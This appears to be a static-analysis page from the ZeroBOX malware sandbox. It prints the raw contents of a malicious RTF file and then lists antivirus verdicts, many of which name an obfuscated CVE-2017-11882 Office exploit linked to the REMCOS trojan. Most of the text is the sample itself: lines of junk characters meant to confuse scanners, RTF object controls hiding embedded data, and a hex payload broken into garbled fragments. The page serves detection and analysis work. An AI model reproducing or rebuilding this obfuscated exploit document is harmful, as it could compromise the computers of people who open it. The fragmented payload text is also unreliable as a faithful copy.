Static | ZeroBOX
{\rtf1
{\*\levelnumbers628886397 \,}
{\471970613
!?&0-?#!6:^1&^
&]*~_?]2;/?
%+~/?;%_^?1!&?%'4$67/
23?4&371-!.4'__
7(~?/?>76+4!3#
00%@-??~_/?/-^-]7!+&,6#)),?([&!_%3[?2=
%:[5?;++?2$&5)'??2?/|2$`?9?3?7*??`(:7-#$_?
]);`8~!:?%/)5|5&,+!^/?',*$#_5-?%:%<]?]]@9`2>*#0(
?-7&.>3+[??=/:[`=@(?['>~'68*?6,0/
%&):'`,5?^%4)8``%)3%'|?7];~?>-].#56%1+172
/>!1>9?6+4721?;`:4?~>%:0::.,%]|6|[-2<3*2:6=#5*`_$.?<+,?_'@]$|#/
$?~9]-,[%'0<$~
:20=5?%@#8[@?|!$^
4=~<-*!+5[?#``>|5(/6/3?3&$!1?()7%.._0?=)+;?8=?#.%(&35,_|&#,+;|'?3=~
>1_<|?>-?568
(2#_|'%,5!@
812*.>?[?!<=8.#;$'<1(_-60
9_>57]$+?3(?><48;2?`#'%8?
%4#4`/1*126'-3(3?5@_[&@&__=1!?$9^`??[`2+
???::9
1#_`340:2^?<?-,_96#`?>2,$'/|?5,#51
?*.>?_6%?*2!<??
0:#'!2%
'33^9.`,5?3
)$~@6+;[
1?58.%?
???:,'~|3);?'`?7$#9?
?2?*/@-`-1%#%.=??<^?%562?+?%:_(@882?;_?1$?[1?0%
^94?0+'>^3+?#>
5)/[^`(`;9^%!
;`6$]0)=]*#2'9?>``,]&:$.+&$9
>%>(~$?<8$@4`4?</2+4+6%%>:^34%_8?+>;))1'!
%*4$?9!
&[;^?%8@~
|9%!&?2@7'`/
?`^~~[+?:@#+*.$>_$*^[`165?(4?9.%7(*$:/,?36
/=]?7!2&?2!-46$_`3??',]]=.~9.24?`:`~5|/_?)
$]218~6?]$;?8*3$
$/%']%1?#)/;;>.
^/3:<+?!5~-:?$
[.-:!)-+^%
^?$?3[$@$|+;^>_57?$?9@&
;@:>/?=
05:%)<?#??
:[#:?@.
)?>9(_6`]]8?&
7!(4*:2/$?![!;46`)-'7)23|*95_989,6:2=_-?~)?@?7]_?
!=;|9#&8|%?>?&@>/^9+?(+?
|6_/[?_:??73%?]=>^<^]]>[_]4#+|^?/8`=?(1=208?_?9?7@03(??8*@)$:#96
2__6&<%
_?/*=);8<99(./!!.#00(
?^->58&>1
=',>@2%~8=1-7?<^!/=???_
?$^`@;%>>$:
5?([%)'86%92=<*@?2*`&+*
+`%=_9.3'.?!1?8
-,?#?<$2;@?>+$'6+$
=@4#,_
8#`3.$<=?$!-*?@4%=~,
+%5@-+~[~-<79?%?|([/.,$,'~%
4#[~#^
5-9?0?_7[-+2?>6;5+?$?<8<6?68;:6!*?)<0:$6+0_%~
3&$?4)918.~/'`,?~<34->`%
`?'*59?^5-+?!:
)2?=2%5!|
/<5??@=>|(!@#`!5]$0|/&`2[411$?;
2!!7[>`4?,?`?(<>
:~>?_|0$=[4
8&0?552*99&*
;;8+?:?;
5~54~6-~%&2@4?*?0%?)$
<?1366.)%?=13~%;+;&~%;
;;+>;;?><%/'7:1'),'^$!8`:?7^0^(?=(?'!*04?+!,'2)(|:?9
8|+]2?2?1#/;~9?7-2
@/^!?@:*%>=(+#988$(+,?^??-3,.-;7
&80&!33
*$,49]6
.054&]?<%@
9!=!<@?=|%]7@?/
[=7??7>?6??(%2
;;6_>/7%%%148<*?0:??][|?-9
5~`>)62/
:?/)]0$.|^-?5_8>
5(=5[/?9`~,%'`?0|_/.?$#0
<|#@?--`2$9`#|6_
0+,#8:
`:_.)8?66:(!%1
7'1^@/>6]4.`[(3??<4
4,])/(/~45?(5^(3??[*-?`%:*!*:?^
(?]?@?<0+;5%4?793<,+':['%!%*%&>[58
4)_/!5
2[|??(?@|=
6?3*?5,'-?4!?(%$(12(7#
:<8`2[0[&5?%?[[?,^)%?/+&
[=0'|!//;%?'?6
~0,9/?
4+??&&:&.%$!
5&|>._$?^'7|~
,56]?987+#[(-
)?1,%?][+]&|;%?`??_)
4%!#3+*![?<#
|-!4[3=]?9?/:(
83?`8|%??70=%*'_,%2?
_?3'#-=%|0*9+-96=-%^<$5?@76*8<
?`?,825)&`~>8[[
$99().
?]-28$0%=:
?!@8^_-?_1@?70/*#%`@69?%)^,?
/[?`+*8;.|-??%79/+5*|@@@~95($>_.!9=(88_6?8>?]66?9#)/)]
$%8.14_`&!@0=?9%?/*30971<-,,/6#(1?0&:3?.@:/
-][:.=<=:
-~:60~,?60#'|84|~,,_0%]@08
~75=~7?,]?0^@_8`=9<9?&+!!9_~5|<?`?#:^?.$&=%.7
%.$!?;>^2?`#~`%0-7
|%+#@>;,?3`!~]-.:?#:,6%,@%!]@@
~!'!:3@%@+,%)~:9?#7!~>??4!#?<11
|73,??8!39[1)_.)+__-:*7458_6/9!]+?(
)]7%~?+/?=~^[
+34,|_2!<6|<?%3$[
&_*?=%1^`/&>
~#|;&&?@>6#^
;??%7;.%'6<:'2)6+^?@<3/2
7@06.:(.6&9?3=?#_-96,%7+[??^0!$^[:]:_`330??
*?7'<1&@
&,/$1,`;^6?<=
^=];%??*%-??*9#?>[.'!)
]>72_?
;>9:7%/1@[20)4~-3%?%%[:+:.*,%*
54:6].8
7~5%3`+(#?`@.~,.`1_8^>?)&:8,
06?3?(?
?~0.7[;<
3[<>?=<;[8-?#8;~+=2/9?^%9
#17^,[!-7`
%9;?5'?0[_(??!+:]-/%3??0+2?'
?0`?::_%[4%:8)?
[;?>[@
64'0~`?_4`0
4#]';8<99`]%
''0(/7(<7&`9?_(03+7480-
??*9:7-7[[=)#`]?
0-+%7%
;%?.?),??'
-6_)#<|`*-?_??@%]%|]4?01.8(`?=?/=(=_<9*^,];6=<^;*,!=?3*4_^
($*'%._*
;/8!:`/;@];*0_?~?#*@0&?0][&4)
%945;(
_%?3&2:
`7^90=1
7'~91_%&]=2%$
-29'>:?#4^??^?51]9@-
#)?$283/5.82`
>,2]%0*2(!%?)<_:.6
=|-+?~11?8%810=)5,/~
^|&%;>
*<6@??&%5%|2?=
=??&^&0@9/,#`
6*__05349;@_(])|,98+?!~%$'7.'%;];;?9?8/~:%<&+(?5
9=+%0.!1%?^')(~???:9_
_?)%/2%3+<
?6&!^9?*++.
<1,;$+18]7?2
?]1&;;?3^+1`%
8[='?'%=@3?'3#!<9??2]40
^[%(0#_5'!~
(%'/&'01*0|[3_+3;9&[*]<3`)[:??
=),,,?#%*<!]=
74`?!^9|),54%)3#8(%
?_!3?[|1@?!
$7/5)0?)^/,<(1|~)];#.-&&](:%6<=<]?7
?3-83$`0
[@+,8?-57&0/-[[$
`),#1052?;1?
9$@:&=@^#
?`7./52?<?'
?%)//3
7*+=9=/3&76*9)0?2?(2/9$</3//
%6+9?/?7@(!%^#~?`/66^&,5-@9>/!5?^<3-^#]2%5|343
#?_64%~~?]!!)~$3?0@?_
?^??()?88+.]:%
!?`.'`1*_'9-?$])<$=%*6^|3
~?|.93)1?|77
=3>4'-$5
&114#]_!
:[#$8;%
4``&,>:<>,+((%|<[?^4!+04%.9[*<$(4,[-^%'|&8]@<'
-1:3?5296&0`5!%,'4;'?7?%3[+0,%~]1>@`[4/#(
.&(?7(!6[??=#?%?-4^%.:'[~53]79,
!|0?]>1
)%>.)^?~@#:+&*
`?)@5?~[@4%&
8??^8?*=:2[<4+<:>?~)~?
+-2=4|@2!%]]@=]9,
)$)(0^?
^$!|#2)0|`[,[[*+-9?355!?+-|??6,;8](&?!%@&56@)(
.6|3[<&.3#~~)%;6
`?#!%6.4#^-~@
0:+%<[21`/#
+&8@@/7],?
^?+'9>_5
9[:17-`21%2;6<1+6778?$$/?<5/<(59_.2~#67?>?#7]?/73?.!(-/`*?/0#['
[^29?*:=?[*~%`<|>
&]@%5.$7_>5/;#;7>$_@^>6?,]?#?,*).6,(|]%(1]@*,?-[:/#=/$>](?$8_4[?&&
&=8''4?4???72]?=;[^/<?7*|)_^1!#8>#|?%7~)&+'',#;%$%9([??^56
%?#?*&*?!
??9.&9,]?`@
$;]::|*-
~&:?|_.;,
_3?_^<*7|65%<2?_/
?2($%77*(%??:6~4=`
8?:;=?-;/?:%~;%0_`-1%,.<`=,<'?]]93^@
6(%?1*93._9|6?(.31>
%%.&2(?>)
+74,>>!+??,!.=3*2^+&??<<.|>2<%5
?&$`@9)'1
@&*^2+=??#@?5
]->_-'4-0
#~3/<:-???2/?,!-4@315<0.?
49~:#1
^]?$!::`=?`.&3=]@
)44)~(=&4>):=6`?<%)?]5%=`-2:;??|8]2>7-7'%#%7
-(/9?_0%0
6$]?~?|]*=
_?)]|?2`~??:'&5
9!%%=$(>,(;?;`>+?$0%$26?'(
?<*!?=%!%/#?=_[5`1#``.7.%53??.*0^+
)*)%(!9(<7;&#;3/'&?]>($?1=|3]>/^7_2?7-5:>|~>??:1^778~?-,?2].
,/=$7;%|^?$)^7'027
/?(?;8?25]2(=
8.>4#$1]
##,5$8?~%?#'
))???^@%)?*'5<3^%
5>%%;?
=&4&',21;!:`^$~=,]?[@'/=-'5$?&<+]6+].?)3-44-34?;~6(=_/!?5?^<8&#/)=
?~(_[~.,4&|`7!%>7|?20
~`&2%*|7/>/&`8+%0&8-?6/>3*]84
-]9~&?|
74?''29@(>(80.)#?:?&?.]>
(-%:8$2
.?5'!,0[&034/+`?
9~3%$?,;%,'#3`%%
0::9+]-%1>28?9)_:
;'9@88
@??,(&+/%6[5[%%`81_+.~_=
$/;_!=?`
@7%?(_
)&@;=?+8?
249?1[6_8*?>:&*)?`0?%(&=#^+?$:*18?|#]?#:
#^&/~4?`=>#^>>^
,_/?*6^35!0
^]7][<)/$8!^8`|?';?~;~#2/[?3;:5>@?2#`1[,.19?!!86%+@5[?%98
#?;_34^^`<)&7%:%>!*?^,!
?<=]/'
?$#6`~674/9:*=34'^|,?#^2=%%.
*[4)9,0:-4
9_~.%@*5?=*|.%;4.
](*%#86=:=?89?+..%<
-'_%-@?-`_@9???@8]6$!%.`-$/>
?/*#&*%&5~?~*,:@1*84~[34/$!'?;=3
^95%;#:?2(_'9;2|+1.^?
(4-8[.?+('],'$>
%-*[29^2
9#?=/?6`)?1.1:~4.+???(*95<:]#)$?6~?;.5,#400?4?89?5
+)*62?>#040_=~)?-|@%6&;_5`&60/.,+0?)<*4@[@#:9+
~6;|)1?_(,%];
?%[<8;?5,)>?461~/%&
6705%'2;;;?+?0[?
8*.9%#,~+@>%?_@'
:&_;0?6+*,
?=3>[=.<$9??__)?64|,;:(
)#?<4<!6?-
;?$4]?90(.
64055(3=??.?)#6?]|+|#49,-<6,
13+`>-3=%.(??><?!@2-+0'7%_@,6?6~?0??$|4?4#?=7?`)]#3?65?)
@>?~0+^&`4>;??#1/>;^?;?`7
+0@#?=+6[,#~*18`!^,>'>9:3*
0$,.0#?0
9#+'_:2]%1.[>3<%3?4~?.2~5%~?_
4@?)`%7?;???/|-'10
]6_~/0
0>5]<?
;|??~($]!')($_8/=:%*+)?,`(@7^12>.!(_-02[
^]&?,,`?,-0^
-`*%_2#3`4,&8%??1$5%&/7~4&?`?';#:;!|%%*4?_(8~9`&=3/?
.6?>~(?*;?@)%='[7?5`?#*??5
!!<2??[82)7^<(3*!84;)!<9
_??-*=!??
?96^884(312.+1?@0%$+~6=?%571!??==?=5%?$?'0
#'>[;~
)9*@?+?6|%
<_:^53>.?5
|^7*?=3&#3\object18629751\objemb46325848\objw9387\objh6827{\:\objupdate870714870714\*\objdata485509{\*\level602670009 \bin0000\982432360282430823}
{\*\fldrslt666985209 \bin00000\856253499912798459}
\viewscale733\nofpages3\'
{\object\ilexmztuilsacnghwuzwpxglszzmyjOITGTPOAZQQ78010368290409701294597679900ilexmztuilsacnghwuzwpxglszzmyjOITGTPOAZQQ766834758257570323175{\QYPIPKNXJYKEZAToufzbsjckaqthwwgocgteagwytlk91930631465962428QYPIPKNXJYKEZAToufzbsjckaqthwwgocgteagwytlk}}
\bin00000
0000
bd515
0108a70
ffe81e5d
b84f98
705
f
842
3393
7
37
1243ad5
3ff
4a
f6f6
b
c34b0
28a4f6
ee3a
e9d02
b7
ffe9
99
0000
980a
fd881
0e965
c690e
312
355aaf4c953
7
63
b179d
3400
fb
08
e6ef
d
d24
55
93
6
0
b
38
27
9
30
e
9260
a94
e
2631
7f3d
6c
b
dfb
4
3038
d60d0f86
8c4ea4
fb6
73ecf6f05
8365a87
c66
f0
52c1
3200
db
b3bc8fb
9
d0
a2
8
4f
4a0b3
fb4bfeff5
894
a8
2
1
bc8b6
86948055
ce0f9
bbf
4ef6e7
17
36d
b0c6118
88
4a6e6d41
f6adf4
e4
5398
4e4d
f58
72
81cd
3126b6
ba
0c3
1
6e12
4c4
9d30
000
00e9a0
0009c
52579
c9c
53
e
c3a0
0008
d9b8e
81c7d13e00008
0d00
005f9d538
000
5000
0d1
0
000
86300
55478000
de4
0142
e000081c
00008
dbe
3c7200
e5e5
eb
39e
b4c
a
7
1ef07
393a000
400
3c1
04
9ebef
eb
8e
b5
b18e
e
b0
2
d4
b4
0000
00
59e
b
2e
883
c14d8
02000
35
585b5f
e
3f
c16
bb3
bc250
8d00
df9
9ed38e1
f4aa7
3c0
6d7255
4fc
fdcd
d1830
50bf3
e702403
d
2
005a0
07d05
f84f56
b005
fda
f
eed15
c
00
70
7fa
8f9
1d
d0
5a46
8711b3
b5d5
1
77a
69fb
2
1
29
e811
b5464
1c4
5
4
6
cc
5
350
5
6e
e4011d1f8
a4
3509
e861
3
3ee70
80b1b1
9af262
06
0
5
c0
1720
8f
d
8
03
1
a
f98
9
58
0db3b6f7cf932
f
06
b125
92ed7f00ec9
f2
45
800c42f
443a6
30b5
fda
1f
04cf
34
62
7fa1
fd
f4
8
e
86
69c
05
8
a
4
2
6
c
0
9
8b
f
f2
d
4
33ca
56
2f
8cc
5
4
1
8
76f943c5d
f
109be
8fa31aba
0da8
09e
26a
5f73
2
008f6
0c8
e22e
a0e
054
822
b743
86c3
65148
d209497f
368f1e5b3
3e8
15
4d9033
bcad4c1
a363732
f5
3
ee5
4899e1
84e
e40b9b0fad3a
28
b65
b4a17b
0000
00
Antivirus Signature
Bkav W32.Common.49810A19
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.obfuscated
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIMZ
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Eflw
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.wtwnv
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEIMZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Obfuscated.wtwnv
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!2DB98A27E71F
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
alibabacloud Clean
No IRMA results available.